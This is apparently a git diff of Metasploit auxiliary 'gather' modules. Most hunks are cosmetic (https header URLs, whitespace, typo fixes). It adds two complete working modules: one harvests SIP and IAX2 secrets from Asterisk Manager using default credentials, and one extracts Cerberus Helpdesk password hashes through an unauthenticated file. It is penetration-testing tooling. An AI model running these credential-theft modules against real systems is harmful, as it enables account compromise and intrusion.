   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info={})
@@ -145,6 +144,5 @@ class MetasploitModule < Msf::Auxiliary
       return nil
     end
   end
-
 end
 
diff --git a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb
index 6cdae48d23..92f11b85f9 100644
--- a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb
+++ b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
-## Current source: https://github.com/rapid7/metasploit-framework
-###
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info={})
@@ -157,5 +156,4 @@ class MetasploitModule < Msf::Auxiliary
       return nil
     end
   end
-
 end
diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb
index 288432783e..d8f1323dee 100644
--- a/modules/auxiliary/gather/android_browser_file_theft.rb
+++ b/modules/auxiliary/gather/android_browser_file_theft.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/jsobfu'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
   include Msf::Exploit::JSObfu
@@ -178,5 +177,4 @@ class MetasploitModule < Msf::Auxiliary
   def hex2bin(hex)
     hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
   end
-
 end
diff --git a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb
index f36b0f82eb..0620463ce9 100644
--- a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb
+++ b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/jsobfu'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
   include Msf::Exploit::JSObfu
@@ -138,5 +137,4 @@ class MetasploitModule < Msf::Auxiliary
   def per_run_token
     @token ||= Rex::Text.rand_text_alpha(rand(2)+1)
   end
-
 end
diff --git a/modules/auxiliary/gather/android_htmlfileprovider.rb b/modules/auxiliary/gather/android_htmlfileprovider.rb
index 53a7d96aac..16da92bfa0 100644
--- a/modules/auxiliary/gather/android_htmlfileprovider.rb
+++ b/modules/auxiliary/gather/android_htmlfileprovider.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
@@ -175,5 +174,4 @@ EOS
   def run
     exploit()
   end
-
 end
diff --git a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb
index 11407330df..80b11775e7 100644
--- a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb
+++ b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Exploit::JSObfu
   include Msf::Auxiliary::Report
@@ -142,5 +141,4 @@ class MetasploitModule < Msf::Auxiliary
   def run
     exploit
   end
-
 end
diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb
index 0f75f2a100..9bc23a0ac5 100644
--- a/modules/auxiliary/gather/android_stock_browser_uxss.rb
+++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Auxiliary::Report
 
@@ -21,8 +20,8 @@ class MetasploitModule < Msf::Auxiliary
         which will cause a popup window to be used. This requires a click from the user
         and is much less stealthy, but is generally harmless-looking.
 
-        By supplying a CUSTOM_JS paramter and ensuring CLOSE_POPUP is set to false, this
-        module also allows running aribrary javascript in the context of the targeted URL.
+        By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this
+        module also allows running aribtrary javascript in the context of the targeted URL.
         Some sample UXSS scripts are provided in data/exploits/uxss.
       },
       'Author'         => [
@@ -234,5 +233,4 @@ class MetasploitModule < Msf::Auxiliary
   def run
     exploit
   end
-
 end
diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb
index e83d84435e..e6e1bd8549 100644
--- a/modules/auxiliary/gather/apache_rave_creds.rb
+++ b/modules/auxiliary/gather/apache_rave_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -156,9 +155,9 @@ class MetasploitModule < Msf::Auxiliary
       print_status("#{rhost}:#{rport} - Login with the provided credentials...")
       cookie = login(datastore["USERNAME"], datastore["PASSWORD"])
       if cookie.nil?
-        print_error("#{rhost}:#{rport} - Login failed.")
+        print_error("#{rhost}:#{rport} - Login failed")
       else
-        print_good("#{rhost}:#{rport} - Login successful. Proceeding...")
+        print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
       end
     end
 
@@ -168,7 +167,7 @@ class MetasploitModule < Msf::Auxiliary
         print_status("#{rhost}:#{rport} - Login with the #{user} default account...")
         cookie = login(user, password)
         unless cookie.nil?
-          print_good("#{rhost}:#{rport} - Login successful. Proceeding...")
+          print_good("#{rhost}:#{rport} - Login Successful. Proceeding...")
           break
         end
       }
@@ -228,5 +227,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
index 585eaa2f65..d94e291ebf 100644
--- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
+++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/service_manager'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::FtpServer
   include Msf::Auxiliary::Report
 
@@ -256,5 +255,4 @@ class MetasploitModule < Msf::Auxiliary
   def grab_key
     @grab_key ||= Rex::Text.rand_text_alphanumeric(8)
   end
-
 end
diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb
index 93943d482e..2df48c360e 100644
--- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb
+++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'msf/core/exploit/format/webarchive'
 require 'uri'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::Remote::HttpServer::HTML
   include Msf::Exploit::Format::Webarchive
diff --git a/modules/auxiliary/gather/asterisk_creds.rb b/modules/auxiliary/gather/asterisk_creds.rb
new file mode 100644
index 0000000000..b1602a5133
--- /dev/null
+++ b/modules/auxiliary/gather/asterisk_creds.rb
@@ -0,0 +1,211 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Asterisk Gather Credentials',
+      'Description' => %q{
+        This module retrieves SIP and IAX2 user extensions and credentials from
+        Asterisk Call Manager service. Valid manager credentials are required.
+      },
+      'Author'      => 'Brendan Coles <bcoles[at]gmail.com>',
+      'References'  =>
+        [
+          ['URL', 'http://www.asterisk.name/sip1.html'],
+          ['URL', 'http://www.asterisk.name/iax2.html'],
+          ['URL', 'https://www.voip-info.org/wiki/view/Asterisk+manager+API'],
+          ['URL', 'https://www.voip-info.org/wiki-Asterisk+CLI']
+        ],
+      'License'     => MSF_LICENSE))
+    register_options [
+      Opt::RPORT(5038),
+      OptString.new('USERNAME', [true, 'The username for Asterisk Call Manager', 'admin']),
+      OptString.new('PASSWORD', [true, 'The password for the specified username', 'amp111'])
+    ]
+  end
+
+  def run
+    vprint_status 'Connecting...'
+
+    connect
+    banner = sock.get_once
+
+    unless banner =~ %r{Asterisk Call Manager/([\d\.]+)}
+      fail_with Failure::BadConfig, 'Asterisk Call Manager does not appear to be running'
+    end
+
+    print_status "Found Asterisk Call Manager version #{$1}"
+
+    unless login
+      fail_with Failure::NoAccess, 'Authentication failed'
+    end
+
+    print_good 'Authenticated successfully'
+
+    @users = []
+    retrieve_users 'sip'
+    retrieve_users 'iax2'
+
+    if @users.empty?
+      print_error 'Did not find any users'
+      return
+    end
+
+    print_status "Found #{@users.length} users"
+
+    cred_table = Rex::Text::Table.new 'Header'  => 'Asterisk User Credentials',
+                                      'Indent'  => 1,
+                                      'Columns' => ['Username', 'Secret', 'Type']
+
+    @users.each do |user|
+      cred_table << [ user['username'],
+                      user['password'],
+                      user['type'] ]
+      report_cred user:     user['username'],
+                  password: user['password'],
+                  proof:    "#{user['type']} show users"
+    end
+
+    print_line
+    print_line cred_table.to_s
+
+    p = store_loot 'asterisk.user.creds',
+                   'text/csv',
+                   rhost,
+                   cred_table.to_csv,
+                   'Asterisk User Credentials'
+
+    print_good "Credentials saved in: #{p}"
+  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
+    print_error e.message
+  ensure
+    disconnect
+  end
+
+  private
+
+  def username
+    datastore['USERNAME']
+  end
+
+  def password
+    datastore['PASSWORD']
+  end
+
+  def report_cred(opts)
+    service_data = {
+      address:      rhost,
+      port:         rport,
+      service_name: 'asterisk_manager',
+      protocol:     'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type:     :service,
+      module_fullname: fullname,
+      username:        opts[:user],
+      private_data:    opts[:password],
+      private_type:    :password
+    }.merge service_data
+
+    login_data = {
+      core:              create_credential(credential_data),
+      status:            Metasploit::Model::Login::Status::UNTRIED,
+      proof:             opts[:proof]
+    }.merge service_data
+
+    create_credential_login login_data
+  end
+
+  def send_command(cmd = '')
+    sock.put cmd
+
+    res = ''
+    timeout = 15
+    Timeout.timeout(timeout) do
+      res << sock.get_once while res !~ /\r?\n\r?\n/
+    end
+
+    res
+  rescue Timeout::Error
+    print_error "Timeout (#{timeout} seconds)"
+  rescue => e
+    print_error e.message
+  end
+
+  def login
+    vprint_status "Authenticating as '#{username}'"
+
+    req = "action: login\r\n"
+    req << "username: #{username}\r\n"
+    req << "secret: #{password}\r\n"
+    req << "events: off\r\n"
+    req << "\r\n"
+    res = send_command req
+
+    return false unless res =~ /Response: Success/
+
+    report_cred user:     username,
+                password: password,
+                proof:    'Response: Success'
+
+    report_service :host  => rhost,
+                   :port  => rport,
+                   :proto => 'tcp',
+                   :name  => 'asterisk'
+    true
+  end
+
+  def retrieve_users(type)
+    vprint_status "Retrieving #{type.upcase} users..."
+
+    req = "action: command\r\n"
+    req << "command: #{type} show users\r\n"
+    req << "\r\n"
+    res = send_command req
+
+    if res =~ /Response: Error/ && res =~ /Message: Permission denied/
+      print_error 'Insufficient privileges'
+      return
+    end
+
+    unless res =~ /Response: Follows/
+      print_error 'Unexpected reply'
+      return
+    end
+
+    # The response is a whitespace formatted table
+    # We're only interested in the first two columns: username and secret
+    # To parse the table, we need the characer width of these two columns
+    if res =~ /^(Username\s+)(Secret\s+)/
+      user_len = $1.length
+      pass_len = $2.length
+    else
+      print_error "'#{type} show users' is not supported"
+      return
+    end
+
+    users = res.scan(/^Username\s+Secret.*?\r?\n(.*)--END COMMAND--/m).flatten.first
+
+    if users.blank?
+      print_error "Did not find any #{type.upcase} users"
+      return
+    else
+      print_status "Found #{type.upcase} users"
+    end
+
+    users.each_line do |line|
+      line.chomp!
+      user = line[0...user_len].sub(/\s+$/, '')
+      pass = line[user_len...(user_len + pass_len)].sub(/\s+$/, '')
+      @users << { 'username' => user, 'password' => pass, 'type' => type }
+    end
+  end
+end
diff --git a/modules/auxiliary/gather/avtech744_dvr_accounts.rb b/modules/auxiliary/gather/avtech744_dvr_accounts.rb
index d0f2a9a175..7b8d37d2d6 100644
--- a/modules/auxiliary/gather/avtech744_dvr_accounts.rb
+++ b/modules/auxiliary/gather/avtech744_dvr_accounts.rb
@@ -1,5 +1,9 @@
-class MetasploitModule < Msf::Auxiliary
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
@@ -35,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     unless res.code == 200
-      fail_with(Failure::Unknown, 'An unknown error occured')
+      fail_with(Failure::Unknown, 'An unknown error occurred')
     end
 
     raw_collection = extract_data(res.body)
diff --git a/modules/auxiliary/gather/browser_info.rb b/modules/auxiliary/gather/browser_info.rb
index 35dbb77416..299b0e95bd 100644
--- a/modules/auxiliary/gather/browser_info.rb
+++ b/modules/auxiliary/gather/browser_info.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::BrowserExploitServer
 
   def initialize(info={})
@@ -61,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary
   end
 
   def print_target_info(cli, target_info)
-    print_status("#{cli.peerhost} - We have found the following interesting information:")
+    print_good("#{cli.peerhost} - We have found the following interesting information:")
     report_host_info(target_info)
     ignore_items!(target_info)
     target_info.each_pair do |key, value|
@@ -74,11 +73,10 @@ class MetasploitModule < Msf::Auxiliary
 
   def on_request_exploit(cli, req, target_info)
     print_target_info(cli, target_info)
-    send_not_found(cli)
+    send_response(cli, '')
   end
 
   def run
     exploit
   end
-
 end
diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb
index 33b45750bf..10fa3e9736 100644
--- a/modules/auxiliary/gather/censys_search.rb
+++ b/modules/auxiliary/gather/censys_search.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
 
   def initialize(info={})
diff --git a/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb b/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb
new file mode 100644
index 0000000000..d7be8a46f4
--- /dev/null
+++ b/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb
@@ -0,0 +1,86 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize
+    super(
+      'Name'         => 'Cerberus Helpdesk User Hash Disclosure',
+      'Description'  => %q{
+        This module extracts usernames and password hashes from the Cerberus Helpdesk
+        through an unauthenticated access to a workers file.
+        Verified on Version 4.2.3 Stable (Build 925) and 5.4.4
+        },
+      'References'   =>
+        [
+          [ 'EDB', '39526' ]
+        ],
+      'Author'       =>
+        [
+          'asdizzle_', # discovery
+          'h00die',    # module
+        ],
+      'License'      => MSF_LICENSE,
+      'DisclosureDate' => 'Mar 7 2016'
+    )
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [false, 'URL of the Cerberus Helpdesk root', '/'])
+      ])
+  end
+
+  def run_host(rhost)
+    begin
+      ['devblocks', 'zend'].each do |site|
+        url = normalize_uri(datastore['TARGETURI'], 'storage', 'tmp', "#{site}_cache---ch_workers")
+        vprint_status("Attempting to load data from #{url}")
+        res = send_request_cgi({'uri' => url})
+        if !res
+          print_error("#{peer} Unable to connect to #{url}")
+          next
+        end
+
+        if !res.body.include?('pass')
+          print_error("Invalid response received for #{peer} for #{url}")
+          next
+        end
+
+        cred_table = Rex::Text::Table.new 'Header'  => 'Cerberus Helpdesk User Credentials',
+                                          'Indent'  => 1,
+                                          'Columns' => ['Username', 'Password Hash']
+
+        # the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing.
+        # this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g'
+        result = res.body.split('s:5')
+        result.each do |cred|
+          if cred.include?('email')
+            cred = cred.split(':')
+            username = cred[3].tr('";', '') # remove extra characters
+            username = username[0...-1] # also remove trailing s
+            password_hash = cred[7].tr('";', '') # remove extra characters
+            print_good("Found: #{username}:#{password_hash}")
+            store_valid_credential(
+              user:         username,
+              private:      password_hash,
+              private_type: :nonreplayable_hash
+            )
+            cred_table << [username, password_hash]
+          end
+        end
+        print_line
+        print_line cred_table.to_s
+        break
+      end
+
+    rescue ::Rex::ConnectionError
+      print_error("#{peer} Unable to connect to site")
+      return
+    end
+  end
+end
diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb
index 3155b4be7b..8b8fe85c16 100644
--- a/modules/auxiliary/gather/checkpoint_hostname.rb
+++ b/modules/auxiliary/gather/checkpoint_hostname.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
 
@@ -91,5 +90,4 @@ class MetasploitModule < Msf::Auxiliary
     }
     report_service(svc_info)
   end
-
 end
diff --git a/modules/auxiliary/gather/citrix_published_applications.rb b/modules/auxiliary/gather/citrix_published_applications.rb
index 2f7c47a2eb..cce142b7bb 100644
--- a/modules/auxiliary/gather/citrix_published_applications.rb
+++ b/modules/auxiliary/gather/citrix_published_applications.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
 
   def initialize(info = {})
@@ -73,5 +70,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect_udp
   end
-
 end
diff --git a/modules/auxiliary/gather/citrix_published_bruteforce.rb b/modules/auxiliary/gather/citrix_published_bruteforce.rb
index 39e0ca64e6..c2afcd4012 100644
--- a/modules/auxiliary/gather/citrix_published_bruteforce.rb
+++ b/modules/auxiliary/gather/citrix_published_bruteforce.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Udp
 
   def initialize(info = {})
@@ -179,5 +176,4 @@ class MetasploitModule < Msf::Auxiliary
 
     disconnect_udp
   end
-
 end
diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb
index f981a46419..3a6c41040d 100644
--- a/modules/auxiliary/gather/coldfusion_pwd_props.rb
+++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb
index 0e8b3d4017..4e6b50cfce 100644
--- a/modules/auxiliary/gather/corpwatch_lookup_id.rb
+++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -161,7 +160,7 @@ class MetasploitModule < Msf::Auxiliary
       }, 25)
 
       if res == nil
-        print_error ("Server down or bad response")
+        print_error("Server down or bad response")
         return
       end
 
@@ -536,5 +535,4 @@ class MetasploitModule < Msf::Auxiliary
     e.get_elements(name)[0].get_text ) ?
     e.get_elements(name)[0].get_text.to_s : ""
   end
-
 end
diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb
index cc3dcdc2ec..9eeff32ca5 100644
--- a/modules/auxiliary/gather/corpwatch_lookup_name.rb
+++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
@@ -17,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q{
           This module interfaces with the CorpWatch API to get publicly available
         info for a given company name.  Please note that by using CorpWatch API, you
-        acknolwdge the limitations of the data CorpWatch provides, and should always
+        acknowledge the limitations of the data CorpWatch provides, and should always
         verify the information with the official SEC filings before taking any action.
       },
       'Author'         => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' ],
@@ -131,5 +129,4 @@ class MetasploitModule < Msf::Auxiliary
     e.get_elements(name)[0].get_text ) ?
     e.get_elements(name)[0].get_text.to_s  : ""
   end
-
 end
diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb
index 9ba104df27..0bbc2e0f4a 100644
--- a/modules/auxiliary/gather/d20pass.rb
+++ b/modules/auxiliary/gather/d20pass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/darkcomet_filedownloader.rb b/modules/auxiliary/gather/darkcomet_filedownloader.rb
index 2fc64c354d..c187f511d0 100644
--- a/modules/auxiliary/gather/darkcomet_filedownloader.rb
+++ b/modules/auxiliary/gather/darkcomet_filedownloader.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -416,7 +416,7 @@ class MetasploitModule < Msf::Auxiliary
         print_status(filedata.to_s)
       end
     else
-      print_status("Attack failed or empty config file encountered ...")
+      print_error("Attack failed or empty config file encountered ...")
     end
   end
 end
diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb
index 85933a7024..59a42ad36f 100644
--- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb
+++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb
index bc0865375d..c712abf2b3 100644
--- a/modules/auxiliary/gather/drupal_openid_xxe.rb
+++ b/modules/auxiliary/gather/drupal_openid_xxe.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::HttpServer::HTML
   include REXML
diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb
index cca4e765d3..3c5669d19f 100644
--- a/modules/auxiliary/gather/eaton_nsm_creds.rb
+++ b/modules/auxiliary/gather/eaton_nsm_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
@@ -15,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
         This module will extract user credentials from Network Shutdown Module
         versions 3.21 and earlier by exploiting a vulnerability found in
         lib/dbtools.inc, which uses unsanitized user input inside a eval() call.
-        Please note that in order to extract credentials,the vulnerable service
+        Please note that in order to extract credentials, the vulnerable service
         must have at least one USV module (an entry in the "nodes" table in
         mgedb.db).
       },
@@ -114,6 +113,6 @@ class MetasploitModule < Msf::Auxiliary
     loot_filename = "eaton_nsm_creds.csv"
     loot_desc     = "Eaton Network Shutdown Module Credentials"
     p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc)
-    print_status("Credentials saved in: #{p.to_s}")
+    print_good("Credentials saved in: #{p.to_s}")
   end
 end
diff --git a/modules/auxiliary/gather/emc_cta_xxe.rb b/modules/auxiliary/gather/emc_cta_xxe.rb
index 2d3d27db88..e34a632f26 100644
--- a/modules/auxiliary/gather/emc_cta_xxe.rb
+++ b/modules/auxiliary/gather/emc_cta_xxe.rb
@@ -1,11 +1,9 @@
-# This module requires Metasploit: http://metasploit.com/download
 ##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -32,10 +30,10 @@ class MetasploitModule < Msf::Auxiliary
       [
         Opt::RPORT(443),
         OptBool.new('SSL', [true, 'Use SSL', true]),
-        OptString.new('SSLVersion', [true, 'SSL version', 'TLS1']),
         OptString.new('TARGETURI', [ true, "Base directory path", '/']),
         OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
-      ])
+      ]
+    )
   end
 
   def run
diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb
index 0ce86494a9..f5e9b65e49 100644
--- a/modules/auxiliary/gather/enum_dns.rb
+++ b/modules/auxiliary/gather/enum_dns.rb
@@ -1,6 +1,5 @@
-
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %q(
         This module can be used to gather information about a domain from a
         given DNS server by performing various DNS queries such as zone
-        transfers, reverse lookups, SRV record bruteforcing, and other techniques.
+        transfers, reverse lookups, SRV record brute forcing, and other techniques.
     ),
       'Author'         => [
         'Carlos Perez <carlos_perez[at]darkoperator.com>',
diff --git a/modules/auxiliary/gather/eventlog_cred_disclosure.rb b/modules/auxiliary/gather/eventlog_cred_disclosure.rb
index 7f244a0343..378d0d91e5 100644
--- a/modules/auxiliary/gather/eventlog_cred_disclosure.rb
+++ b/modules/auxiliary/gather/eventlog_cred_disclosure.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
 
